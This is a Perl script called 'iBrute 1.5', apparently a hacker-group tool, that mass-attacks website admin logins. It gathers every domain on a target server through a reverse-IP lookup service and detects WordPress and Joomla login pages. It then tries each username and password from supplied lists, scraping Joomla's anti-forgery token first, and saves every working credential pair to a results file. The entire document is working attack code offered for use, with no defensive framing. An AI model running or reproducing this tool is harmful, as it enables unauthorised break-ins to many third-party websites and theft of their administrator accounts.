iBrute 1.5

#!/usr/bin/perl

    use Term::ANSIColor;
    use Win32::Console::ANSI;
    use LWP::UserAgent;
    use URI::URL;
    use HTTP::Request;
    use HTTP::Request::Common qw(POST);
    use HTTP::Request::Common qw(GET);
    use HTTP::Cookies;
      $ua = LWP::UserAgent->new(keep_alive => 1);
          $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
          $ua->timeout (30);
          $ua->cookie_jar(
        HTTP::Cookies->new(
            file => 'mycookies.txt',
            autosave => 1
        )
    );
if($^O =~ /Win/){

   system("cls");
   system("title iBruTe[1.5]");
}else{
   system("clear");
}
$SIG{'INT'} = sub {
print "\n\n";
print color "reset";
exit;
};

sub Clean($);
print color 'bold green';
print q{+-----------------------------------------------------------------+
|           _  ____             _______                           |
|          (_)|  _ \           |__   __|                          |
|           _ | |_) | _ __  _   _ | |  ___                        |
|          | ||  _ < | '__|| | | || | / _ \                       |
|          | || |_) || |   | |_| || ||  __/                       |
|          |_||____/ |_|    \__,_||_| \___|                       |
|                                                                 |
|                              v 1.5 [Black-ID]                   |
+-----------------------------------------------------------------+};
print color 'reset';
print color 'bold yellow';
print "\n[!]";
print color 'bold blue';
print " Enter TarGet Or Domains List :";
print color 'reset';
print color 'yellow';
$Target=<STDIN>;
print color 'bold yellow';
print "[!]";
print color 'bold blue';
print " Enter Users List :";
print color 'reset';
print color 'yellow';
$ulist=<STDIN>;
print color 'bold yellow';
print "[!]";
print color 'bold blue';
print " Enter Passwords List :";
print color 'reset';
print color 'yellow';
$pwdlist=<STDIN>;
chomp($Target);
if($Target =~ /.txt/) {
print color 'bold yellow';
print "\n[!]";
print color 'bold cyan';
print " Listing Domains From $Target...";
open (DOMAINS, "<$Target") || die "[-] Can't open the List Of Domains Names!";
@DOMAINS = <DOMAINS>;
close DOMAINS;
print color 'bold cyan';
print "[Done]\n\n";
}else{
print color 'bold yellow';
print "\n\n[!]";
print color 'bold cyan';
print " Grabbing Domains From ";
print color 'bold red';
print "$Target";
print color 'reset';
print "...";
my $rp = $ua->post('http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php',
{
        remoteAddress => $Target,
}
);
my $dresult = $rp->content;
        if ( $dresult =~ m#("domainCount":")(.*?)"# ) {
        $count = $2 ;
        }
while ($dresult =~ m/\[([^\]]*)\]/g)
{
        $imatch = $1;
        $imatch =~ m/\"(.*?)\", \"?\"/g;
open(a, ">>domains-$Target.txt");
print a "$1\n";
close(a);
}
print color 'bold green';
print "$count |[Done]\n\n";
if ($dresult =~ m/"message":"Daily reverse IP check limit reached for (.*)\. Please <a href='\/about'>contact<\/a> me to remove this limit\."/)
{
print color 'bold red';
print "[Error]\n\n";
}
open (DOMAINS, "<domains-$Target.txt") || die "[-] Can't open the List Of Domains Names!";
@DOMAINS = <DOMAINS>;
close DOMAINS;
}
foreach my $D (@DOMAINS) {
chomp $D;
$wp = "http://".$D."/wp-login.php";
$red = "http://".$D."/wp-admin/";
my $reqwp=HTTP::Request->new(GET=>$wp);
my $responsewp=$ua->request($reqwp);
$wp1 = "http://".$D."/blog/wp-login.php";
$red1 = "http://".$D."/blog/wp-admin/";
my $reqwp1=HTTP::Request->new(GET=>$wp1);
my $responsewp1=$ua->request($reqwp1);
$joom = "http://".$D."/administrator/index.php";
my $reqjoom=HTTP::Request->new(GET=>$joom);
my $responsejoom=$ua->request($reqjoom);
$joom1 = "http://".$D."/Portal/administrator/index.php";
my $reqjoom1=HTTP::Request->new(GET=>$joom1);
my $responsejoom1=$ua->request($reqjoom1);
if ($responsewp->content=~ /<body class="login">/)
{
print color 'bold yellow';
print "[+]";
print color 'bold magenta';
print " $D ";
print color 'reset';
print ":";
print color 'bold green';
print "[Wordpress]\n";
open(a, ">>resault-$Target.txt");
print a "[WordPress]:$D\n";
close(a);
print color 'bold yellow';
print "\n\n[!]";
print color 'bold cyan';
print " Brutting ";
print color 'bold red';
print "$D";
print color 'reset';
print "...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Users !";
@ULIST = <USERFILE>;
close USERFILE;
foreach my $U (@ULIST) {
chomp $U;
$user = Clean($U);
open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = Clean($L);
my $response = $ua->post($wp,
{
"log"   => "$user",
"pwd"   => "$pwd",
"redirect_to"   => "$red",
"testcookie"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /302/){
print color 'bold yellow';
print "\n\t[+]";
print color 'bold blue';
print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold green';
print "Login Correct \n\n";
open(a, ">>resault-$Target.txt");
print a "$user:$pwd\n";
close(a);
}
else {
print color 'bold yellow';
print "\t[-]";
print color 'bold blue';
print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold red';
print "Login Incorrect \n";
}
}
print "\n\n";
}
}
else{
if ($responsewp1->content=~ /<body class="login">/){
print color 'bold yellow';
print "[+]";
print color 'bold magenta';
print " $D ";
print color 'reset';
print ":";
print color 'bold green';
print "[Wordpress]\n";
open(a, ">>resault-$Target.txt");
print a "[WordPress]:$D/blog/\n";
close(a);
print "\n\n[!]";
print color 'bold cyan';
print " Brutting ";
print color 'bold red';
print "$D";
print color 'reset';
print "...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
foreach my $U (@ULIST) {
chomp $U;
$user = Clean($U);
open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = Clean($L);
my $response = $ua->post($wp1,
{
"log"   => "$user",
"pwd"   => "$pwd",
"redirect_to"   => "$red1",
"testcookie"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /302/){
print color 'bold yellow';
print "\n\t[+]";
print color 'bold blue';

print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold green';
print "Login Correct \n\n";
open(a, ">>resault-$Target.txt");
print a "$user:$pwd\n";
close(a);
}
else {
print color 'bold yellow';
print "\t[-]";
print color 'bold blue';
print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold red';
print "Login Incorrect \n";
}
}
print "\n\n";
}
}
else{
if ($responsejoom->is_success && $responsejoom->content=~ /Joomla/){
print color 'bold yellow';
print "[+]";
print color 'bold magenta';
print " $D ";
print color 'reset';
print ":";
print color 'bold green';
print "[Joomla]\n";
open(a, ">>resault-$Target.txt");
print a "[Joomla]:$D\n";
close(a);
print color 'bold yellow';
print "\n\n[!]";
print color 'bold cyan';
print " Brutting ";
print color 'bold red';
print "$D";
print color 'reset';
print "...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
my $red = GET $joom;
my $ret = $ua->request($red);
$rep =  $ret->content;
$status = $ret->status_line;
if ( $rep =~ m#(name=")(.*)" value="1"# ) {
$token = $2 ;
}else{
print color 'bold yellow';
print "\n\n[-]";
print color 'bold red';
print " Can't Grabb Joomla Token !\n\n";
print color 'reset';
next;
}
foreach my $U (@ULIST) {
chomp $U;
$user = Clean($U);
open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = Clean($L);
my $response = $ua->post($joom,
{
"username"   => "$user",
"passwd"   => "$pwd",
"lang"   => "en-GB",
"option"   => "com_login",
"task"   => "login",
"$token"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /303/ | $pwnd =~ /301/){

print color 'bold yellow';
print "\n\t[+]";
print color 'bold blue';

print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold green';
print "Login Correct \n\n";
open(a, ">>resault-$Target.txt");
print a "$user:$pwd\n";
close(a);
}
else {
print color 'bold yellow';
print "\t[-]";
print color 'bold blue';
print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold red';
print "Login Incorrect \n";
}
}
print "\n\n";
}
}
else{
if ($responsejoom1->is_success && $responsejoom1->content=~ /Joomla/){
print color 'bold yellow';
print "[+]";
print color 'bold magenta';
print " $D ";
print color 'reset';
print ":";
print color 'bold green';
print "[Joomla]\n";
open(a, ">>resault-$Target.txt");
print a "[Joomla]:$D\n";
close(a);
print color 'bold yellow';
print "\n\n[!]";
print color 'bold cyan';
print " Brutting ";
print color 'bold red';
print "$D";
print color 'reset';
print "...\n\n";
open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
@ULIST = <USERFILE>;
close USERFILE;
my $red1 = GET $joom1;
my $ret1 = $ua->request($red1);
$rep1 =  $ret1->content;
$status = $ret1->status_line;
if ( $rep1 =~ m#(name=")(.*)" value="1"# ) {
$token = $2 ;
}else{
print color 'bold yellow';
print "\n\n[-]";
print color 'bold red';
print " Can't Grabb Joomla Token !\n\n";
print color 'reset';
next;
}
foreach my $U (@ULIST) {
chomp $U;
$user = Clean($U);
open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
@LISTS = <PASSFILE>;
close PASSFILE;
foreach my $L (@LISTS) {
chomp $L;
$pwd = Clean($L);
my $response = $ua->post($joom1,
{
"username"   => "$user",
"passwd"   => "$pwd",
"lang"   => "en-GB",
"option"   => "com_login",
"task"   => "login",
"$token"   => "1",
});
$pwnd = $response->status_line;
if ($pwnd =~ /303/ | $pwnd =~ /301/){
print color 'bold yellow';
print "\n\t[+]";
print color 'bold blue';

print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold green';
print "Login Correct \n\n";
open(a, ">>resault-$Target.txt");
print a "$user:$pwd\n";
close(a);
}
else {
print color 'bold yellow';
print "\t[-]";
print color 'bold blue';
print " [$user]";
print color 'bold white';
print ":";
print color 'bold magenta';
print "$pwd ";
print color 'bold red';
print "Login Incorrect \n";
}
}
print "\n\n";
}
}
else {
print color 'bold yellow';
print "[-]";
print color 'bold red';
print" $D";
print color 'reset';
print " :";
print color 'bold cyan';
print "[Unknown]\n";}
print color 'reset';
}
}
}
}
sub Clean($)
{
    my $string = shift;
    $string =~ s/^\s+//;
    $string =~ s/\s+$//;
    return $string;
}